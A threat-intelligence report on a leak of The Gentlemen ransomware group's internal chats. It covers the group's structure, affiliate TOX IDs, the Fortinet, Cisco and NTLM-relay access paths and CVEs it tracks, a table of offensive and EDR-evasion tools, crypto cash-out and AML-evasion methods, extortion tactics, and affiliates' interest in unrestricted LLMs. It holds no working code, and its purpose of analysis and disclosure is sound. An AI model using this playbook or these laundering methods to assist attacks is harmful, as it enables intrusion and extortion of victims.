Key Points

• On May 4th, 2026, The Gentlemen RaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program.
• The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073.
• Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD.
• Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy.
• By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.

Introduction

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates.

In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims.

During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims.

In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum.

The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations.

The Gentlemen RaaS Admin

The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator.

In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates.

Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums.

The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator.

In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field.

In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective.

Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator.

RaaS Affiliates

Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal.

For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs.

15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A
98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB

There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples.

CmpID: 03860d116701cdc9d9bf9c45099bb3d3 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 11e7baca7e652995b2364fdab0d362b7 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2cd4eb358c45ca783a20ec854a5a860c TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2e5d1a352885a6efd84dbc0387cbc79e TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 3b7b4f2d33bdfb8a31b480d0eb2815cd TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4a94d2b730a5a63e6cd54a9b0bb4ea71 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4e0c37cbf4dde9683943c8a738e5b00a TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 51dec3e170f8a181cc9aea8dcc90c7ab TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 583fe1c1a39f6b873a5c0997bea1f657 TOX: 15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
CmpID: 697f182826495662427ca49edbb345fc TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 71d503709af88821c183a1d0b7ae06ec TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 721606b3659f2c2d80a196ed3cd60053 TOX: F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB
CmpID: 735069890a414869f0113de820ba9afb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 74ea100b581ec32ea6c2ac2a0030a9f6 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 776e86c13433747299a4e5f9f22e3415 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: 7aae8fd9187c88dd0292cce1abd050e2 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 82160a7da5fc4c935e6f48d38a5aaaa6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 893f735e9a8cc9814dc6eccd5579561c TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 8fceea4fd9ce32dd620ccd580297c7c5 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 92d8bd2a6ee7f6d5c84e037066ce0539 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: a023a6b15419600dc3f6b93e11761dfe TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: a73526d89e5fb7b57f50d8da340e53e9 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: abd11823ddcc3d746ad8621e677a93eb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b5b42ac289581b3387ebf120129a19a6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b68e019efb39b85f5a0326e22fd4498a TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: bc6b87c79bc71a78da623d031ec1a958 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: d75246d230f22b1da6bbf5fceeed2ef2 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: da9cff1b478b64d47b68d50330e96c60 TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: ead0d7a8ae0a6ffb7f0a5873fec4ff5e TOX: 88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A

Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.

RaaS Leak

On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident.

The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows.

Demanding ransom from a RaaS

On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin.

In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak.

The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator.

The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts.

While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set.

Roles & Structure

The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”).

Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment.

Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person.

Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing.

Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp.

Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers.

Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion.

Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group.

Operational workflow

The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network.

After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries.

With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner.

Tools & Infra

The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments.

Category	Tool / Resource	Purpose / Usage	Reference / Notes
C2 / Remote Access	ZeroPulse	Remote access / C2 framework for controlling compromised hosts.	https://github.com/jxroot/ZeroPulse
C2 / Remote Access	Velociraptor	Used as a covert C2 platform, including memory and LSASS dumping.	Often used with signed builds to reduce detection.
C2 / Remote Access	Cloudflare Zero Trust / Tunnels	Provides stealthy tunnels into victim networks over HTTPS.	Used together with custom VPN setups.
VPN / Network Access	wireguard-install	Automates WireGuard VPN deployment.	https://github.com/angristan/wireguard-install
VPN / Network Access	openvpn-install	Automates OpenVPN server setup.	https://github.com/angristan/openvpn-install
VPN / Network Access	Double-VPN-with-OpenVPN	Configures double‑layer OpenVPN routing.	https://github.com/pizdatiigus/Double-VPN-with-OpenVPN
Offensive / Red‑Team	NetExec (NXC)	Multi‑purpose offensive framework for AD, SMB, WinRM, and more.	Internal usage guide via a shared NXC gist.
Offensive / Red‑Team	TaskHound	Task and privilege abuse / persistence helper.	Used post‑exploitation.
Offensive / Red‑Team	PrivHound	Identifies local privilege escalation paths and persistence opportunities.	Integrates with BloodHound data.
Offensive / Red‑Team	RelayKing-Depth	Finds and exploits NTLM relay paths across protocols.	https://github.com/depthsecurity/RelayKing-Depth
Offensive / Red‑Team	CertiHound	Enumerates and detects ADCS misconfigurations (ESC1–ESC17).	Used via NetExec integration.
Offensive / Red‑Team	Titanis	Offensive tooling for Windows logging / ETW manipulation.	https://github.com/trustedsec/Titanis
Offensive / Red‑Team	MANSPIDER	Searches file shares for sensitive strings and documents.	Used for locating valuable data.
Offensive / Red‑Team	PowerZure	Abuses Azure / cloud misconfigurations.	Used for cloud‑side access and escalation.
Offensive / Red‑Team	RegPwn	Registry‑based privilege escalation and service abuse.	Often used for MSI service abuse.
Offensive / Red‑Team	KslDump	Dumps Kerberos / LSASS‑related material.	Used for credential theft.
Offensive / Red‑Team	KslKatz	Kerberos / LSASS post‑exploitation tool similar to credential dumpers.	Complements KslDump.
EDR / AV Evasion	EDRStartupHinder	Blocks or delays EDR processes at startup.	Based on the EDR-Startup-Process-Blocker concept.
EDR / AV Evasion	gfreeze	Part of their EDR “killer” toolkit to hinder security products.	Derived from EDR‑blocking research/code.
EDR / AV Evasion	glinker	Another component in their EDR evasion sets.	Often grouped with gfreeze.
EDR / AV Evasion	DumpBrowserSecrets	Dumps browser cookies and secrets for session hijacking.	Used to reuse corporate web sessions.
EDR / AV Evasion	zerosalarium ETW/log tricks	Public research they follow for ETW and log‑based EDR kill techniques.	Multiple posts referenced for inspiration.
Infra / Scanning	gogo.exe	Scanner for common ports and exposed services.	Used in early discovery phases.
Infra / Scanning	NXC usage gist	Internal guide for effective NetExec usage.	https://gist.github.com/gitgotgitgotit/81a578e065da1ccd8c81a8e90c309275
OSINT / Helper Tools	Sputnik browser extension	OSINT aggregation extension to support recon.	Helps enrich target information.
OSINT / Helper Tools	chamd5.org	Online password hash cracking service.	Used for recovering cleartext passwords.
OSINT / Helper Tools	hashcracking_bot	Bot‑based password cracking service.	Complements other cracking methods.

The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect.

AI mentions

The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented.

zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces.

Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries.

He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen.

A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.”

zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel.

For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.”

Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups.

The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information.

CVEs and Exploits

While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced.

• CVE-2024-55591 – FortiOS management interface

This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces.

• CVE-2025-32433 – Erlang SSH vulnerability (Cisco context)

In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit.

• CVE-2025-33073 – NTLM reflection / NTLM relay

qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows.

• Other Exploit Paths (Without Explicit CVE IDs)

The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include:

• MSI service abuse via RegPwn, used for privilege escalation.
• Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure.
• iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses.
• WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries.

Payments & Negotiations

Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving.

The specific mentions of how they handle Bitcoin laundering/cash out:

1. Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins.
2. AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced.
3. Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure.
4. Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely.
5. Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce.

Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand.

zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim.

Interesting Negotiation Case

In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed.

From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying.

Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance.

zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks.

One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second.

The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom.

This served a dual purpose:

1. Punishing the consultancy (UK), which the actors described as “a very bad company.”
2. Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK.

Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”.

Their View of Other RaaS Programs and Actors

The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players.

Program / Group	Things Discussed	Subjective Sentiment (Their View)
HelloKitty	Name/brand as something they’d like to use; jokes about linking to the real Hello Kitty site and putting (R) everywhere; described explicitly as a “мощный бренд”.	Very positive on brand strength and recognition; sees it as a powerful marketing asset.
Kraken	Mention that “товарищи кракен” wrote to qbit; qbit later says their team might “move” over to zeta88’s side.	Neutral‑pragmatic; current or past orbit, but clearly willing to switch away for better options.
Dragon Force	One of only two programs zeta88 would choose from “all presented”; explicitly says they pay both operators and adverts; only negative comments heard were about their software/panel.	Strongly positive overall; trusted, in the top tier of programs they respect.
Gunra	Listed among candidate PPs for a supplier; zeta88 says “че эт ваще такое…”, and lumps it with Hyflock; calls the operator “этот мудень”.	Negative; unserious / low‑relevance; clear disdain for the operator.
Hyflock	Same context as Gunra; zeta88 dismisses it in the same breath as Gunra, with the same derogatory comment about the person behind it.	Negative; grouped with Gunra as not to be taken seriously.
ShadowByt3$ RAAS	Appears in the candidate list; zeta88 simply comments “хз” (doesn’t know).	Neutral; no formed opinion, neither trust nor distrust expressed.
Anubis	Appears in the candidate list; zeta88 asks “% видел он?”, focusing on what percentage they take.	Cautious / skeptical; interest hinges on profit split; no clear positive trust.
CHAOS	Appears in the candidate list; zeta88 asks whether they will still take that supplier (“возьмут ли они его еще”).	Uncertain; doubts about acceptance / relationship continuity; not a clearly preferred option.
LockBit (tooling)	quant asks what a локбит тулза actually is (builder or decryptor), notes he has not opened it; no explicit evaluation of the group itself.	Curious but cautious; tooling is not trusted or fully understood yet; no explicit sentiment on LockBit group.
Black Basta / Devman	quant asks if “блек баста это девман”; zeta88 speaks harshly about “David” and his link to Devman, calls him “мудак” and “чепуха”, wishes them невыплат (non‑payment).	Strongly negative but personalized; animosity toward David/Devman rather than a structured view of the RaaS.
“Red team” / Mr Beng cluster	Mentions Редтим=красный лотос=арсен=баламут=студент and “мистер БЕНГ”; mocks offer of 15k for “source code” of a C2 built on top of white tools (Velociraptor, etc.); ridicules this as overpriced and based on legitimate software.	Negative; sees them as overpriced grifters repackaging white tools with heavy marketing.

Conclusion

The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations.

The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline.

